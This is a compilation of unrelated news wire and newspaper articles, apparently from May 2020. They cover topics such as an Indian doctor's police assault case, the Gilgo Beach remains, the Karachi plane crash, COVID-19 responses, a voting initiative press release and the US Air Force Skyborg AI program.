Dane Creek Capital Corp., a private equity venture owning several pet food manufacturing businesses in Canada and the United States, has brought on Alexandra Wood as vice president of marketing and communications. Wood was previously corporate brand manager at Mercatto Hospitality, where she oversaw brand strategy, including marketing, budgets, social media and website development, for the companys five restaurants and Toronto, Canada-based businesses. At Dane Creek, she will be responsible for managing the companys 14 pet food, treat, supplement and alternative protein brands.
The Andhra Pradesh high court (HC) on Friday ordered an investigation by the Central Bureau of Investigation (CBI) into the alleged inhuman treatment meted out to a Dalit doctor Dr. K Sudhakar by a section of Visakhapatnam Police personnel on May 16.

The court, which took up the case suo motu (on its own), ordered that CBI register a criminal case against the police, who allegedly physically assaulted Sudhakar and tied his hands behind his back before bundling him into an auto-rickshaw to take him to the police station for creating nuisance in public and abusing the Andhra Pradesh government in a drunken state.

The court asked CBI to complete the investigation within eight weeks and submit a comprehensive report.

The court had taken into consideration a report submitted by a Visakhapatnam district judge stating that there were six injuries on Sudhakars body. It observed that there was no mention of the injuries in the report submitted by the police authorities.

Sudhakar, an anaesthetist, is undergoing treatment for acute and transient psychosis at a government-run hospital for mental health in Visakhapatnam.

The police have filed a case against Sudhakar under sections 353 (assault or use of criminal force to deter a public servant from discharging his duty) and 427 (mischief causing damage) of the Indian Penal Code (IPC).

In April, Sudhakar, who works at a government-run hospital at Narsipatnam, was suspended for courting the media to complain against the state government for not providing enough personal protective equipment (PPE) kits to frontline workers battling the raging coronavirus disease (Covid-19) epidemic.

The Indian Medical Association (IMA) authorities have taken a serious note of the police brutality on the doctor and have written to Andhra Pradesh Chief Minister YS Jagan Mohan Reddy demanding action be taken against errant police personnel.

IMA president Dr. Rajan Sharma has assured that the doctor would be made to apologise for his abusive language.

Sudhakars mother Kaveri Bai expressed happiness over the HC judgement and hoped that justice would be meted out to his son. Main opposition Telugu Desam Partys (TDP) womens wing president V Anita echoed the doctors mother.

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WESTPORT  State Rep. Jonathan Steinberg was unanimously endorsed by town Democrats for reelection as state representative for the 136th district.

Its really been an honor for me to serve Westport as a state representative for the past 10 years, Steinberg said in accepting the nomination on Thursday.

Steinberg was first elected to the legislature in 2010 and is currently serving his fifth term. He serves as House chair for the Public Health Committee, and on the Transportation and Energy and Technology committees.

Ned Gerard / Hearst Connecticut Media

Serving the legislature next session is going to require a quality of leadership that is appropriate to the moment at hand, Steinberg said.

He said he will continue to fight for the states values and to ensure a future for residents, their kids and grandkids.

This is an all hands on deck moment to participate in the 2020 election, he said.

He was nominated by Vicki Volper of Westport.

In these exceedingly challenging times, we need an experienced, knowledgeable respresentative more than ever, Volper said. Jonathan Steinberg has been our representative since 2010 and has many more accomplishments than I have time to mention this evening.

Volper highlighted work by Steinberg to improve the states infrastructure, on the health committee as well as within Westport.

I feel fortunate to have a person like Jonathan as my representative, she said. I know that I can count on him to be on the right side of every issue.

Lauren Soloff, a Representative Town Meeting member, seconded the nomination.

Jonathan exemplifies the type of Democrat our district and our state needs right now if were going to come out of this crisis safely and soundly, she said.

Steinberg will face Republican Chip Stephens in November. The 136th District includes most of Westport.

dj.simmons@hearstmediact.com
NEW YORK - Authorities investigating the long-running mystery of skeletal remains strewn along a suburban New York beach highway said Friday they have identified the remains of one of the women using DNA technology.

Suffolk County police said they would soon post information about the woman, known as Jane Doe No. 6, to a website the department created about the case. Police officials declined to provide more specific information about when the announcement would be made.

The previously unidentified womans remains were found in two areas of Long Island, more than 40 miles (65 kilometres) and a decade apart: in 2000 in Manorville, near where Long Island splits into its two eastern forks, and in 2011 near Gilgo Beach on the Atlantic Coast, where the remains of 11 people were found.

Investigators have been unable to determine who killed them or whether a lone serial killer or several suspects were involved. Over the years, theyve said it is unlikely one person killed all the victims.

The case has attracted national headlines, been featured on true-crime television shows and was the subject of a recent Netflix film.

The previously unidentified woman is at least the second whose remains were found at the beach and also in Manorville. Police found the skull of Jessica Taylor, a 20-year-old prostitute who disappeared in 2003, near Gilgo Beach and most of the rest of her body in a wooded area of Manorville.

In January, police revealed a previously unreleased photograph of initials on a black leather belt  either an HM or WH, depending on the angle  that they say was handled by an unknown suspect.

Last fall, state officials gave investigators the green light to ask the FBI to deploy genetic genealogy, a technique in which genetic profiles are run though databases to find potential relatives of a homicide victim or suspect. Its that technology that led to the womans identification, police said.
By Tim Kelly

TOKYO (Reuters) - U.S. Air Force transport aircraft on Thursday massed at Washington's key Asian military air transportation hub, Yokota Air Base in Japan, to show potential foes and allies it was ready for action despite the coronavirus emergency.

"It shows both our adversaries as well as our allies in Japan the importance of our placement, the importance of our ability to execute our mission," base Vice Commander, Colonel Jason Mills, said.

U.S. forces are stationed in Japan to defend Washington's key Asian ally from attack from North Korea, but also to check China's growing influence in the wider region, including Southeast Asia and the South Pacific.

As Washington tries to tackle the coronavirus pandemic, some officials worry outbreaks in the military may provide fodder for Beijing to question U.S. strength in the region.

"When youre dealing with COVID-19 induced domestic chaos, you just cant pay as much attention to foreign affairs," said Grant Newsham, a research fellow at the Japan Forum for Strategic Studies and a former U.S. Marine colonel who liaised with Japan's Self Defense Forces.

In April, the U.S. aircraft carrier Theodore Roosevelt was forced to dock in Guam after a coronavirus outbreak infected several hundred sailors. Carriers such as the Ronald Reagan that is forward deployed in Japan and others that regularly pass through Asian waters are among the most conspicuous symbols of U.S. military might.

Yokota has had to quarantine sailors passing through the base who have tested positive for the virus.

Yokota's air wing, including C-130 transport planes and helicopters, moves troops and equipment around the Asia Pacific. Like other bases in Japan, which hosts the largest concentration of U.S. military personnel outside the United States, it has declared a public health emergency.

Troops at the base in western Tokyo are under orders to keep a distance from each other and local people and wear face masks. Commanders have also split personnel into shifts to lessen contact.

The coronavirus, like the rain that reduced visibility on Thursday, was another issue for air and ground crews to deal with to keep their aircraft flying, said Mills.

(Reporting by Tim Kelly; Editing by Christian Schmollinger)
(Newser)  There's a lot we don't know about Friday's crash of a Pakistani passenger jet into a Karachi neighborhood, including the number of casualties. But one number was resonating in the aftermath of the tragedy: two. That would be the number of passengers so far known to have survived when the low-flying Airbus 320 took out five or six houses and slammed into an alley, reports the AP. One survivor has been identified as Zafar Masud, who is the head of the Bank of Punjab in Pakistan, per Outlook India. He was hospitalized with hip and collar bone fractures. The other survivor is identified as Mohammad Zubair, who suffered relatively minor facial injuries. He recalled that the plane began to wobble as it neared Karachi's airport. "The next moment there was a hard crash and I lost consciousness, said Zubair.

story continues below

Rescuers were looking for other survivors. The Pakistan International Airlines jet is believed to have had 91 passengers and seven crew members aboard when it went down, although the numbers have been fluctuating throughout the day. So far, 57 bodies have been recovered. It remained unclear whether anyone on the ground was killed. Based on air traffic controller communications, it appears the plane had engine trouble as it was attempting to land. "We have lost engines," a pilot says in a recording, per Reuters. After the controller freed up both airport runways for an emergency landing, the pilot said, "Mayday! Mayday! Mayday!" in the last communication from the plane. (Read more plane crash stories.)
BEIJING, May 21 (Xinhua) -- Amid the further containment of COVID-19, China is powering ahead by returning to work and resuming business and production. The following are the latest facts and figures:

-- Chinese firms signed service outsourcing contracts worth approximately 374.39 billion yuan (about 54.58 billion U.S. dollars) during the first four months, down 6 percent year-on-year, data from the Ministry of Commerce showed on Wednesday.

The decline was 12 percentage points lower than in the first quarter, showing a recovery in the sector.

-- About 99.1 percent of Chinese industrial enterprises with an annual business turnover of at least 20 million yuan had resumed production as of Monday, said Miao Wei, Minister of Industry and Information Technologyon Wednesday. About 95.4 percent of employees in these enterprises had returned to work, he said.

-- Chinese authorities on Wednesday called for efforts to improve regular prevention and control measures to prevent COVID-19 from rebounding and to also accelerate the resumption of life and work.

-- Swiss food giant Nestle on Wednesday announced an additional investment of 730 million yuan to strengthen its business operations in China.

Nestle and the administrative committee of the Tianjin Economic-Technological Development Area signed a memorandum of understanding on cooperation to build a plant-based product manufacturing facility and boost the capacity of its local pet food factory.

The production line, with a designed annual capacity of 8,000 tonnes, will be Nestle's first of its kind in Asia.

-- The foreign trade of south China's Guangxi Zhuang Autonomous Region stood at 135.54 billion yuan in the first four months of the year, according to local customs authorities.

The border region's foreign trade in April amounted to 43.02 billion yuan, up 4.3 percent compared with March, said Nanning Customs.
With purchasing power dropping dramatically and liquidity becoming alarminging weak, the real estate market is witnessing a repeat of the 2011-2013 crisis.

What happened?



The succession of gloomy days nearly 10 years ago began when Resolution No 11 was released which requested the State Bank of Vietnam to cut lending to non-production fields, especially real estate.





As capital flow was interrupted, real estate developers left a huge amount of bad debts for banks, which analysts called a blood clot.



Many real estate firms had to bargain away their projects, and underwent reshuffling.



Because of the supply-demand imbalance, real estate prices plummeted.



Hoang Anh Gia Lai, a giant real estate developer, had to sacrifice projects and run away from the market. Its Hoang Anh Thanh Binh project was sold at VND12-15 million per square meter, while the average market price was VND25-30 million per square meter at that time.



The remnants of the crisis 10 years ago still exist, reminding realtors of the lackluster period. Petro Landmark, located on the golden land' of HCM City, is an example.

The buyers in the project still cannot receive apartments and cannot sell products. The project, which was praised as the symbol of the oil and gas sector, has failed.

Some analysts, when reviewing the real estate crisis in 2011-2013, attribute this to the rigid credit tightening policy. At the time when two-thirds of the market was in the hands of speculators, the credit crisis was the reason behind the collapse of the market.

Some analysts, when reviewing the real estate crisis in 2011-2013, attribute this to the rigid credit tightening policy. At the time when two-thirds of the market was in the hands of speculators, the credit crisis was the reason behind the collapse of the market.



What is happening?



The 2011-2013 crisis was followed by the revival period, commencing from 2015. However, the development cycle could not last long. The market came to the end of cycle just four years later.



Like the 2011-2013 crisis, the new recession period also began from adjustments in the credit policy.



Following 2019 with ups and downs, the real estate market in 2020 is expected to experience hardships. The Q4 2019 report of the Vietnam Institute for Economic and Policy Research (VEPR) warned that 2020 would be a unstable and harsh year for the real estate market.



Things are even worse than predicted because of the Covid-19 pandemic.



Though real estate products are marketed in dribs and drabs, the inventory level is still extremely high. Meanwhile, real estate firms show negative financial indicators with negative cash flow and weak liquidity.



However, analysts point out the difference between the current crisis and the crisis 10 years ago. Businesses now have better capital arrangement capability. They no longer rely on bank loans, but seek capital from many different sources, including corporate bond issuance.

Linh Ha

More M&A deals in VN's real estate sector during COVID-19 The epidemic has brought great opportunities to businesses with powerful financial capability to hunt for attractive projects and take them over.
Source: Xinhua| 2020-05-22 15:22:25|Editor: huaxia

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NANJING, May 22 (Xinhua) -- Police in east China's Jiangsu Province have detained 26 suspects involved in profiteering from leaking and selling over 50,000 pieces of bank card information.

In June 2019, police in Huaiyin District in the city of Huai'an received a report claiming that individuals had publicly sold bank card-related information through QQ and other instant messaging tools online.

Police soon launched an investigation and detained the suspects. Between July and December 2019, over 40 police officers were dispatched in an operation to 12 cities in nine provinces including Sichuan, Shaanxi, Fujian, Hunan, Zhejiang, Guangdong and Inner Mongolia Autonomous Region.

A total of 26 suspects were arrested, who were suspected of being involved in illegally trading more than 50,000 pieces of personal information worth over 21 million yuan (about 2.95 million U.S. dollars).

The suspects have been handed over to the local procuratorial organ. Enditem
The McLaren Hotel could soon receive a heritage designation, if Winnipeg city council approves.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

The McLaren Hotel could soon receive a heritage designation, if Winnipeg city council approves.

The property and development committee voted 3-1 Thursday, with Coun. Brian Mayes (St. Vital) opposed, to add the 110-year-old Main Street building to the list of historical resources.

The citys historical building and resources committee deems the structure one of "Winnipegs most substantial pre-(First) World War hotels."

The Forks Railside project adjusted

Some city requirements for The Forks Railside development could change, despite concerns they may result in less public space.

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The property and development committee approved a proposal for several key changes, which could reduce the public space requirement to 60 per cent (from 75 per cent) and allow taller buildings.

On Thursday, the committee voted 3-1 in favour of the changes, with Coun. Brian Mayes (St. Vital) opposed. Mayes expressed concern the changes could weaken the public space commitment, pending council approval.

A project representative said The Forks still wants to maximize public spaces but also wants flexibility for the development.

School zone light donation on horizon

The city will soon release a report on its possible acceptance of donated light systems that would offer drivers more warning of school zones.

A proposal to accept the gift of free flashing amber lights, their installation, and at least 10 years of maintenance from local company Expert Electric, should be released in June, said David Patman, Winnipegs transportation engineer.

The idea was presented to the city in 2017, and formally proposed in July 2019. The city spent months studying the lights to ensure they work in all weather conditions.
Abdullah al-Hamid, an intellectual and human-rights activist whose calls for reforming Saudi Arabias monarchy made him one of the kingdoms most prominent and persistent dissidents and led to frequent prison terms, died on April 24 in detention. He was 69.

His death was reported by the human rights group Amnesty International, which had been tracking his case. It said that he had been in a coma since having a stroke on April 9.

Dr al-Hamid, who had hypertension, was advised by a doctor three months before his death that he needed heart surgery, according to Amnesty International. But the prison authorities threatened to cut off his contact with his family if he told his relatives about his condition, the group said.

A human rights activist from Amnesty International lays a wreath outside the Saudi Arabia embassy to commemorate Dr Abdullah al-Hamid, a prisoner of conscience who passed away while in detention in Saudi Arabia. Credit:Getty

As a co-founder of one of the few independent human rights organisations in a country where dissent is being smothered more harshly than ever, Mr al-Hamid did the unthinkable: He spoke publicly and repeatedly about sweeping political change there. Marrying Islamic principles with universal human rights values in his writings, he called for Saudi Arabia to transform itself into a constitutional monarchy with an elected parliament that would guarantee accountability in government and an independent judiciary.
Wang Shuangning, a Wuhan resident who has recovered from COVID-19, took 33 minutes to swim across the Yangtze River on May 19, setting a new personal record.

(Photo/Wuhan Evening News)

Wang, a volunteer of the Wuhan Yangtze River rescue team, together with several other team members who had been cured of COVID-19, started their crossing beside the Hanyang Gate and swam to Wangjiaxiang Ferry Port.

This was the 12th time that Wang has swum in the Yangtze River with other recovered team members after being cured, as part of a promise they had made to each other during treatment.

Wang has crossed the river several times since joining the rescue team in 2016, and rescued many drowning people from the water along with his companions.

The 60-year-old resident started to suffer a low fever on Jan. 26, and realized that he may have been infected with the novel coronavirus.

(Photo/Wuhan Evening News)

From Jan. 26 to Feb. 7, he underwent intravenous therapy every day. However, anxiety and lowered immunity had made his condition much worse by the time he was admitted into hospital on Feb. 8.

By that point, he was unable to breathe lying on the bed and had to undergo high-flow oxygen therapy and was also stricken by anorexia and insomnia, just like most other severe patients, according to Wang.

To boost his immunity, Wang would listen to the nurses and try his best to swallow the food they gave him. "Medical workers already have enough on their plates. We need to cooperate and not make more trouble for them," he said.

He was cured and discharged on March 19 and received a green health code on April 20, indicating that he is in relatively healthy condition and can go to public places.

"The medical workers saved me from 'drowning' in the virus. Now that I have retired, I hope to have a career saving people from the Yangtze River in the future," said Wang.
Isolated in their two-room rented flat after her husband tested positive for COVID-19, the lifeline of 32-year-old Rashmi and her two children has been a rope by which milk, vegetable and other essential items are supplied to them every morning.

Rashmi (name changed) and her two children aged below 10, have been completely dependent on their neighbours since May 13 after her husband, a frontline COVID-19 worker, contracted the dreaded the disease.

Om Prakash, a neighbour from the upper floor, has been passing on food and other essentials by the rope to her balcony on the second floor.

Three neighbours, all resident of Delhi government flats in Gulabi Bagh, claimed that no help has been extended to the family by the authorities. It's the neighbours who give essentials and chocolates for the children to Om Prakash, who in turn passes it on to Rashmi in a bag tied to a rope.

They wanted to extend a helping hand to the 'corona warrior's' family and took to using ropes to assist them from a safe distance. Om Prakash said he wears gloves before holding the rope and sanitises his hand properly.

Garhwali Jan Kalyan Samiti (Gulabi Bagh) president Narender Rawat appealed to the Delhi government to make proper arrangement of providing basic facilities for the family which has been put under home quarantine.

He said there are 250 residents in Gulabi Bagh government flats who are engaged in COVID-19 duty. Government school teachers who also stay here have been engaged in distributing food to the needy at a government-run hunger relief centre, Rawat said.

"We humbly request the government for proper sanitization in Gulabi Bagh government flats as there are hundreds of employees who are engaged in COVID-19 duty," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Manitobans werent notified about a case of COVID-19 at Daughter on Call as there was little risk to them, said the provinces chief public health officer.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

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Chief provincial public health officer Dr. Brent Roussin, pictured during a recent media briefing, defended the province's decision to not let the public know about a COVID-19 case at Brandon home care business Daughter on Call. (File)

Manitobans werent notified about a case of COVID-19 at Daughter on Call as there was little risk to them, said the provinces chief public health officer.

This, despite previous instances where specific locations were named.

"Our typical approach at all times was to notify the public if it had an impact on the general publics health," Dr. Brent Roussin said during Thursdays health briefing.

"And so for that case, we were able to contact trace and notify all contacts, (the Daughter on Call case) wasnt a facility  a licensed facility  that that took place at, where we typically would report outbreaks or cases in a registered facility."

On Wednesday, the Sun reported that a health-care aide at the Brandon-based organization that cares for seniors and runs personal care homes had tested positive on May 10 for COVID-19. Another staff member tested negative for the virus after coming into contact with the person who was ill at a private residence.

Early in the pandemic, on April 2, Roussin announced nine people at the Betel Personal Care Home in Gimli were being tested for COVID-19. That same day, he also said he was aware of a case of the Riverview Health Centre in Winnipeg.

Also, on Tuesday, Roussin announced that an employee of a Walmart in Winnipeg had tested positive for the virus.

But, when it came to the cluster of 10 cases identified at Pauls Hauling Ltd.s Brandon-based Oak Point Service maintenance shop and the case at Daughter on Call, the province didnt announce the cases publicly.

The province also neglected to announce local cases at the Corral Centre Safeway gas bar and at Maple Leaf Foods, with the companies taking it upon themselves to let the public know. Safeway parent company Sobeys announced their case, and Maple Leaf Foods announced that a contract security guard had tested positive.

"Public health will disclose to the public, and we have done so when we feel its important for the public to know, if we thought there may have been people who had been contacted that we couldnt identify," Roussin said.

"Theres things like stigma and fear that really help this virus spread, and so we need to control that."

On Wednesday, Daughter on Call CEO and owner Gail Freeman-Campbell phoned the Sun to say she previously denied a case among her organizations staff in an effort to protect employee confidentiality.

In three phone calls with The Brandon Sun on Friday of last week and Tuesday, Freeman-Campbell repeatedly denied a Daughter on Call employee had tested positive for COVID-19, despite the Sun having evidence in the form of internal memos sent to staff as well anonymous former and now-former employees speaking out.

"You understand that Im under orders with public health that I cannot give that information out; it is their mandate, and I have been simply following the orders that Manitoba Health has dictated across the province," she said on Wednesday.

"It says on (Manitoba Healths website) that when there is a positive case that it is in their care and control, that employers are not to be trying to deal with it internally. We are not to be contacting employees and staff, families, the whole bit. That is the role of public health, and we have gladly let them do their job."

In response to a previous question from the Sun, a spokesman for Shared Health replied in an email: "There is no legislation that forbids a company from publicly confirming they are the source of a COVID-19 case or outbreak."

On Thursday, the Sun asked Roussin during the daily press conference whether the province was preventing businesses from telling the public about COVID-19 cases.

"Public health wouldnt communicate anything of the sort on what people can do," Rousin said, but added the diagnosis would count as personal health information.

"Im not aware of why the province would tell somebody that; I think that my advice would probably be not to disclose it unless public health thought it was relevant."

 dmay@brandonsun.com

 Twitter: @DrewMay_
WASHINGTON, May 22, 2020 /PRNewswire/ -- When We All Vote, a national nonpartisan organization, launched Civic Cities , a new initiative that encourages mayors to use their voices, governing authority and convening power to mobilize civic leaders, business leaders and community members to increase voter participation in their communities. The initiative launched with a bipartisan group of 31 founding mayors from across the country with the goal of recruiting more of our nation's mayors.

On a call with the United States Conference of Mayors Thursday, When We All Vote Board Chair Valerie Jarrett joined Co-Chair Michelle Obama as she announced the new initiative and urged more mayors to join this effort. As mayors continue to work hard to keep their cities safe amid the ongoing impact of Covid-19, When We All Vote's Civic Cities initiative will work with local leaders to help ensure their constituents have fair and safe access to polls. Mayors interested in being a part of this effort to increase voter participation can get involved here .

"Voting is bigger than any one party, one issue, one candidate or one election," Michelle Obama said. "We've got to strengthen our democracy from the bottom up and ensure that more Americans participate in every single election, from the local school board to Congress. That's why I launched When We All Vote, and it's why we're partnering with our nation's mayors to make sure that every eligible voter in every community can freely, fairly and safely make their voices heard."

"My first job in public service was working for the city of Chicago. I learned that change begins at the local level and saw firsthand the tremendous impact mayors have on the lives of their constituents. In the White House I had the privilege of working closely with all our nation's mayors," said When We All Vote Board Chair Valerie Jarrett. "Mayors know their cities best and have the power to use their voice, their governing authority and convening power to help change the culture of voting in their cities in order to significantly increase participation."

Civic Cities will also celebrate and recognize mayors who use innovative and high-impact approaches to engage voters and share successful practices among mayors nationally. By joining Civic Cities, mayors commit to increasing voter registration and participation in their cities by:

Mobilizing local civic leaders, business leaders, community members and stakeholders in voter engagement efforts to safely register and get out the vote in their communities;

in their communities; Sharing promising practices with the Civic Cities network of mayors; and,

Acting as trusted messengers in their communities to share information and resources for voters to safely make their voices heard.

Many Civic Cities founding mayors are already working to ensure their constituents do not have to choose between their health and safety and exercising their right to vote. Milwaukee, WI Mayor Tom Barrett supports the Safe Vote Program  a proposal to mail absentee ballot applications to all of Milwaukee's roughly 300,000 registered voters. Washington, DC Mayor Muriel Bowser and the DC Board of Elections announced the Vote Safe DC campaign to ensure every vote is counted and everyone, from voters to election workers, feels safe.

Denver Mayor Michael Hancock:

"In Denver, we work across city government to ensure that voting is accessible and secure. We provide ballots in seven languages; offer same day voter registration and vote-at-home ballots for people with disabilities; and we have 37 ballot drop boxes across the city that are open 24 hours a day. We also recently deployed a mobile vote center to reach traditionally underserved areas and those with fewer public facilities. As the national push for vote-by-mail continues to grow, I am excited to work with my fellow mayors to share what works in Denver and how we can ensure our voters are safe and healthy".

Fort Worth Mayor Betsy Price:

"As mayors, we know that our cities thrive when our residents are engaged, and that's why in Fort Worth we engage our constituents before they head to the polls. We created the city's first online public forum for our residents to share and vote on new ideas to improve the city, and our younger residents help us address some of our toughest challenges through SteerFW . Even amid a pandemic, we will continue to engage our voters and ensure they feel civically engaged, empowered and safe."

In the 2016 election, almost half of eligible voters did not cast a ballot, and in local elections, the statistics are even more alarming  fewer than 15 percent of eligible voters turned out to elect the mayors and councilmembers who make decisions every day that directly impact their communities. As trusted voices, mayors have the power to substantially increase the number of people in their communities who cast a ballot, and are uniquely positioned to mobilize civic leaders, business leaders, school systems, local colleges, community members and stakeholders.

Many cities are working to improve voter engagement and participation, and Civic Cities creates a national platform for mayors to learn from one another. All mayors are invited to join the 31 founding mayors to participate in the Civic Cities program, and can learn more and get involved here.

The full list of 31 Civic Cities founding members is below:

Atlanta, GA : Mayor Keisha Lance Bottoms

: Mayor Augusta, GA : Mayor Hardie Davis

: Mayor Austin, TX : Mayor Steve Adler

: Mayor Boston, MA : Mayor Marty Walsh

: Mayor Carmel, IN : Mayor James Brainard

: Mayor Chattanooga, TN : Mayor Andy Berke

: Mayor Chicago, IL : Mayor Lori Lightfoot

: Mayor Dayton, OH : Mayor Nan Whaley

: Mayor Denver, CO : Mayor Michael Hancock

: Mayor Detroit, MI : Mayor Mike Duggan

: Mayor Durham, NC : Mayor Steve Schewel

: Mayor Ft. Worth, TX : Mayor Betsy Price

: Mayor Grand Rapids, MI : Mayor Rosalynn Bliss

: Mayor Houston, TX : Mayor Sylvester Turner

: Mayor Lansing, MI : Mayor Andy Schor

: Mayor Los Angeles : Mayor Eric Garcetti

: Mayor Louisville, KY : Mayor Greg Fischer

: Mayor Madison, WI : Mayor Satya Rhodes-Conway

: Mayor Mesa, AZ : Mayor John Giles

: Mayor Milwaukee, WI : Mayor Tom Barrett

: Mayor Minneapolis, MN : Mayor Jacob Frey

: Mayor Orlando, FL : Mayor Buddy Dyer

: Mayor Parkland, FL : Mayor Christine Hunschofsky

: Mayor Philadelphia, PA : Mayor James Kenney

: Mayor Phoenix, AZ : Mayor Kate Gallego

: Mayor Reno, NV : Mayor Hillary Schieve

: Mayor San Leandro, CA : Mayor Pauline Russo Cutter

: Mayor Scranton, PA : Mayor Paige Cognetti

: Mayor Tacoma, WA : Mayor Victoria Woodards

: Mayor Washington, DC : Mayor Muriel Bowser

: Mayor West Sacramento, CA : Mayor Christopher Cabaldon

ABOUT When We All Vote:

When We All Vote is a national, nonpartisan nonprofit that brings together citizens, institutions, brands, and organizations to increase participation in every election. Launched by Michelle Obama, the organization is committed to closing the race and age voting gap and empowering all eligible voters to cast their ballot by harnessing grassroots energy, establishing strategic partnerships, and implementing digital organizing strategies, with the ultimate goal of changing the culture around voting.

Michelle Obama is joined in this effort by fellow Co-Chairs Tom Hanks, Lin-Manuel Miranda, Janelle Monae, Chris Paul, Faith Hill, Selena Gomez, Liza Koshy, Megan Rapinoe, Shonda Rhimes, Tracee Ellis Ross, Kerry Washington, and Rita Wilson.

In the leadup to the 2018 Midterm Elections, When We All Vote organized over 2,500 local voter registration events across the country, engaged 200 million Americans online about the significance of voting, and texted nearly four million voters the resources to register and get out to vote.

In 2020, When We All Vote is helping to lead in voter education, registration and volunteer engagement. In response to Covid-19, When We All Vote is leading the fight for fair and safe elections by supporting the expansion of access to vote-by-mail, early in-person voting and online voter registration so every American can make their voices heard on Election Day.

SOURCE When We All Vote

Related Links

whenweallvote.org


New Delhi, May 22 : Delhi Chief Minister Arvind Kejriwal on Friday extended support to Odisha and West Bengal in the wake of the destruction caused by cyclone Amphan.

In a series of tweets addressed to the Chief Ministers of Odisha (Naveen Patnaik) and West Bengal (Mamata Banerjee) Kejriwal offered help on behalf of the people of Delhi.

"Dear Naveen_Odishaji, on behalf of the people of Delhi, I extend our full solidarity and support with you and the people of Odisha in the wake of the destruction caused by Cyclone Amphan. Kindly let us know if we could help in any manner in this hour of crisis," Kejriwal said.

In another tweet, he addressed Banerjee and extended full support and solidarity. "Kindly let us know if we could help in any manner in this hour of crisis." The severe cyclone wreaked havoc in Kolkata, Howrah, Hooghly and North and South 24 Parganas districts of West Bengal.

Banerjee said at least 72 people lost their lives due to the cyclone.

-- The story has been published from a wire feed without any modifications to the text




Senates Spokesman, Ajibola Basiru has stated that a lot of laws in the country have become dead letter, as they are no longer useful to the country.

Basiru, who represents Osun State made this known while speaking on a live social media programme  Politics Everywhere With SOK.

He said the country needs to declare a state of emergency on its laws, adding that former Senator Bukola Saraki tried to at some point.

He said Sarakis administration made attempts to amend, repeal and reenact some of these defective laws.

At one instance, the house of representatives introduced as many as 130 bills in one day but most of the proposed legislation passed by both chambers of the national assembly were not assented to by President Muhammadu Buhari.

Basiru said poor funding has hindered the reworking of these obsolete laws.

It tells us that largely we need to declare a state of emergency on the laws of Nigeria. Most of our laws have become what they call dead letters because they are no longer useful, the senator said in a statement.

We know that by Section 5 of the Nigerian Law Reforms Commission Law, the commission is saddled with ensuring dynamic amendment of our laws.

But largely because of funding, and may be lack of commitment to it, the commission has been largely in limbo.

So, you would agree with me that we need to declare a state of emergency in terms of our laws. But then, you see there has to be a relationship between the executive and the legislature.

I want to enjoin the attorney-general of the federation and the Law Reform Commission and particularly the executive to take the issue of some of our laws reform very serious.

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The U.S. Air Force has launched the bidding process for its next-generation "Skyborg" program, aimed at pairing artificial intelligence with a human piloting a fighter jet.

The service posted a solicitation notice last week on the government's acquisition and awards website. Multiple companies could potentially win contract awards of $400 million each, according to the posting.

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Depending on how many companies the Air Force chooses, firms may develop tailored portions of the Skyborg system, it states.

"The intent of Skyborg is to integrate an autonomy mission system core and suite of services ... with multiple low-cost air vehicle systems, each designed to perform one or more mission types," the solicitation adds.

"The Skyborg core will be a best-of-breed combination of industry and government solutions. This [indefinite delivery/indefinite quantity] will be used to develop the first integrated Skyborg system, the first of a family of aircraft with modular hardware and software payloads that incorporate the common Skyborg autonomy mission system and enable manned/unmanned teaming," officials said.

The service plans to announce the award in July and expects Skyborg's initial operation to be ready by the end of 2023.

Dr. Will Roper, assistant secretary of the Air Force for acquisition, technology and logistics, first spoke of the Air Force Research Lab-led program last year.

He told reporters during the 2019 McAleese Conference that, while Skyborg is reminiscent of the Air Force's proposed Loyal Wingman program -- to send out drones ahead of fighters to act as scouts, Skyborg will take the concept even further, with an AI plane that trains with its pilot, acting as a sidekick, rapidly thinking through problems and taking command if necessary.

"I might eventually decide, 'I want that AI in my own cockpit,'" Roper said. "So if something happened immediately, [the AI] could take hold, make choices in a way that [a pilot would] know because [a pilot has] trained with it."

In short, it's R2-D2 from "Star Wars" in an aircraft of its very own, he said.

Roper explained that the experimental AI could be integrated within BQM target drone variations, the XQ-58A Valkyrie, or even QF-16 converted unmanned fighters.

The Valkyrie, made by Kratos Defense, has been undergoing test flights for the past year, most recently in January at Yuma Proving Ground, Arizona.

The drone is part of the Air Force's Low-Cost Attritable Strike Demonstration program, an effort to develop unmanned attack aircraft, which are intended to be reusable but cheap enough that they can be destroyed without significant cost.

Kratos has already said it will compete for the Skyborg program.

Lockheed Martin Corp., Boeing Co. and General Atomics are also expected to bid, according to Air Force Magazine.

Like Kratos, Boeing already has a similar program underway. Earlier this month, it delivered its first "loyal wingman" prototype to the Royal Australian Air Force. The drone-jet hybrid will enhance intelligence, surveillance and reconnaissance gathering for pilots in the cockpit, according to the company.

It uses artificial intelligence "to fly independently or in support of manned aircraft while maintaining safe distance between other aircraft," Boeing said.

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Related: R2-D2 in the Cockpit? Air Force Testing 'Skyborg' AI Program
It's an image synonymous with the U.S. Air Force: a fighter jet streaking across the sky, tipping its wings and igniting its afterburner to boost thrust as it climbs.

And while jets have been the face of the service for decades, it's bombers that are making a splash of late with multiple high-visibility flights around the world.

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Within the last month, B-1 Lancers, B-52 Stratofortresses and the B-2 Spirit have been spotted flying in the Pacific, Europe and even due north near Canada.

On Wednesday, two B-1Bs from Ellsworth Air Force Base, South Dakota, for example, held their first ever training mission over Sweden and at one point were flanked by Norwegian F-35 Joint Strike Fighters for an interoperability flight, according to U.S. Air Forces Europe.

Should we expect these types of flights more often?

"The short answer is yes," said Maj. Gen. Jim Dawkins Jr., commander of the Eighth Air Force and the Joint-Global Strike Operations Center at Barksdale Air Force Base, Louisiana. Military.com spoke with Dawkins in an interview Tuesday.

The flights are based "on the timing and tempo of the combatant commanders and how much they request" bombers in their region, he said. But they are becoming more frequent and, therefore, more standard, Dawkins explained.

"There is just so much of a bigger signal sent with a bomber than with a couple of [F-16 Fighting Falcons]. It just is what it is," he said.

Air Force Global Strike Command and U.S. Strategic Command have been coordinating flights with overseas counterparts, Dawkins said. Over the last year, officials have planned more, and shorter, strategic bomber rotations to test the Air Force's agility when deploying its heavy aircraft forces around the world.

